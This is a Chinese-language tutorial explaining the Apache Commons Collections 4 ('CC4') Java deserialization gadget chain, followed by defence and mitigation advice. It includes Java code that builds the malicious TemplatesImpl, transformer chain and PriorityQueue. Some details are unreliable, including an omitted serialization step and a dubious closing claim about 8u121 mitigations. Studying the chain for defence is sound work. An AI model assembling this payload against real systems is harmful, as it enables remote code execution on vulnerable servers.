Java反序列化CC4利用链深度分析与教学文档
一、CC4链核心概述
CC4是利用Apache Commons Collections 4库中的组件构造的Java反序列化利用链,其核心目标是通过反序列化过程触发恶意字节码的加载和执行。该链的完整调用路径可概括为:PriorityQueue负责触发compare() → TransformingComparator负责触发transform() → ChainedTransformer负责串联转换 → 最终通过TrAXFilter(Templates)间接调用TemplatesImpl.newTransformer()。
二、核心组件详解
2.1 PriorityQueue——反序列化入口点
PriorityQueue是Java标准库中的优先队列实现,在反序列化时扮演“触发引擎”的角色。
关键机制:
- readObject()方法:当PriorityQueue对象被反序列化时,会调用其
readObject()方法 - 堆重建过程:该方法会恢复队列元素,然后调用
heapify()方法重建堆结构 - 比较器调用:如果PriorityQueue设置了Comparator,
heapify()会调用siftDownUsingComparator(),最终执行comparator.compare()方法
调用链:
ObjectInputStream.readObject()
-> PriorityQueue.readObject()
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
2.2 TransformingComparator——桥梁组件
TransformingComparator实现了Comparator接口,但其核心功能是在比较前对对象进行转换。
设计特点:
- 实现了
Comparator接口,可被PriorityQueue的Comparator调用 - 内部持有
Transformer对象,在compare()方法中不会直接比较原始对象 - 工作流程:先对两个对象分别调用
transformer.transform(),再对转换结果进行比较
接口关系理解:
在Apache Commons Collections 4中,Transformer接口继承了Java 8的Function接口:
public interface Transformer<I, O> extends Function<I, O> {
O transform(I input);
@Override
default O apply(I input) {
return transform(input);
}
}
转换流程:
TransformingComparator.compare()
-> transformer.apply(obj1) // 实际调用transform()
-> transformer.apply(obj2) // 实际调用transform()
2.3 ChainedTransformer——转换器链
ChainedTransformer实现了Transformer接口,其作用是将多个Transformer串联执行,形成处理流水线。
链式结构示例:
ChainedTransformer
├── ConstantTransformer(TrAXFilter.class)
└── InstantiateTransformer(
paramTypes = Templates.class,
args = templatesImpl
)
2.3.1 ConstantTransformer的作用
- 功能:忽略输入参数,始终返回固定对象
- 在CC4中的用途:将链条的下一步输入强行转换为
TrAXFilter.class - 设计目的:不处理PriorityQueue中的真实元素,而是为后续步骤提供正确的Class对象
2.3.2 InstantiateTransformer的作用
- 功能:对传入的Class对象反射调用构造方法,创建新实例
- 在CC4中的工作流程:
InstantiateTransformer.transform(TrAXFilter.class)
-> TrAXFilter.class.getConstructor(Templates.class)
-> constructor.newInstance(templatesImpl)
2.4 TemplatesImpl——最终执行点
TemplatesImpl是JAXP(Java API for XML Processing)中的类,用于处理XSLT转换模板,在CC4链中作为恶意代码的执行载体。
关键字段:
_name:不能为null_bytecodes:存放待加载的字节码数组_class:通常设置为null,强制进入类定义流程_tfactory:TransformerFactoryImpl对象
执行流程:
TemplatesImpl.newTransformer()
-> getTransletInstance()
-> 如果 _class == null,则调用 defineTransletClasses()
-> 使用 TransletClassLoader.defineClass(_bytecodes[i])
-> 查找继承自AbstractTranslet的主类
-> 实例化定义的类
三、完整攻击链分析
3.1 Source触发段(反序列化起点)
- 反序列化开始:
ObjectInputStream.readObject()读取PriorityQueue序列化数据 - 堆重建:PriorityQueue的
readObject()调用heapify()重建堆结构 - 比较器调用:通过
siftDown()→siftDownUsingComparator()调用设置的Comparator - 转换开始:TransformingComparator的
compare()方法被触发
3.2 Sink执行段(代码执行终点)
- 转换链启动:TransformingComparator调用ChainedTransformer的
transform() - 固定对象返回:ConstantTransformer返回
TrAXFilter.class - 反射实例化:InstantiateTransformer反射创建TrAXFilter实例
- 模板调用:TrAXFilter构造函数调用
templates.newTransformer() - 类加载执行:TemplatesImpl的
newTransformer()触发恶意字节码加载和执行
四、利用链构造详解
4.1 恶意字节码生成
攻击者需要准备继承自AbstractTranslet的恶意类,编译后获取字节码。示例中的Base64编码字符串即为恶意类的字节码表示。
4.2 TemplatesImpl配置
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_class", null); // 强制重新定义类
setFieldValue(templates, "_name", "xxx"); // 名称不能为null
setFieldValue(templates, "_bytecodes", new byte[][]{codes}); // 恶意字节码
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
4.3 转换器链构造
// 第一步:创建InstantiateTransformer,用于实例化TrAXFilter
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
);
// 第二步:构建转换器链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 返回TrAXFilter.class
instantiateTransformer // 实例化TrAXFilter
};
// 第三步:创建链式转换器
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
4.4 比较器与队列设置
// 创建TransformingComparator,关联转换器链
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
// 创建PriorityQueue并设置比较器
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
// 添加元素触发比较器初始化
priorityQueue.add(1);
priorityQueue.add(2);
五、关键技术点分析
5.1 类加载机制利用
CC4链的核心在于绕过Java的安全机制,通过TemplatesImpl的defineTransletClasses()方法,使用内部的TransletClassLoader加载任意字节码。这与常规的ClassLoader不同,它不遵循父委托模型,可以直接定义新类。
5.2 反射与实例化链
链中使用了多层反射:
- InstantiateTransformer:通过反射调用
TrAXFilter的构造函数 - TrAXFilter构造函数:内部调用
Templates.newTransformer()方法 - TemplatesImpl:通过反射机制加载和执行字节码
5.3 序列化数据构造
攻击者需要构造特殊的序列化数据,包含:
- 配置好的PriorityQueue对象
- 嵌入的Transformer链
- 包含恶意字节码的TemplatesImpl对象
六、防御与缓解措施
6.1 代码层面
- 输入验证:严格验证反序列化的数据来源
- 使用安全反序列化:使用白名单机制限制可反序列化的类
- 升级依赖:升级Apache Commons Collections到安全版本
6.2 运行时防护
- SecurityManager:配置适当的安全策略
- 类加载器隔离:使用不同的ClassLoader隔离敏感操作
- JVM参数:设置
-Djava.security.manager启用安全管理器
6.3 检测与监控
- 异常行为检测:监控异常的类加载行为
- 反序列化审计:记录和审计反序列化操作
- 运行时保护:使用RASP(运行时应用自我保护)技术
七、学习价值与扩展
7.1 设计模式分析
CC4链展示了多个设计模式的组合使用:
- 责任链模式:ChainedTransformer将多个转换器串联
- 适配器模式:TransformingComparator适配了Comparator和Transformer
- 工厂模式:TemplatesImpl作为XSLT模板的工厂
7.2 安全编程启示
- 不可信数据的危险:永远不要反序列化不可信的数据源
- 接口设计的边界:过度灵活的接口设计可能带来安全风险
- 反射的安全使用:严格控制反射API的使用范围和权限
7.3 扩展研究
- 其他利用链:研究CC1、CC2、CC3等其他Commons Collections利用链
- 新型防御技术:学习最新的反序列化防御机制
- 自动化检测:开发自动化工具检测潜在的利用链
文档未详述但基于我所掌握的知识补充:在实际渗透测试中,CC4链的有效性取决于目标环境中Apache Commons Collections 4的存在以及相关安全配置。此外,从Java 8u121开始,JVM引入了java.rmi.server.useCodebaseOnly等安全特性,部分限制了这类攻击。安全研究人员应始终在授权范围内进行测试,并遵循负责任的漏洞披露流程。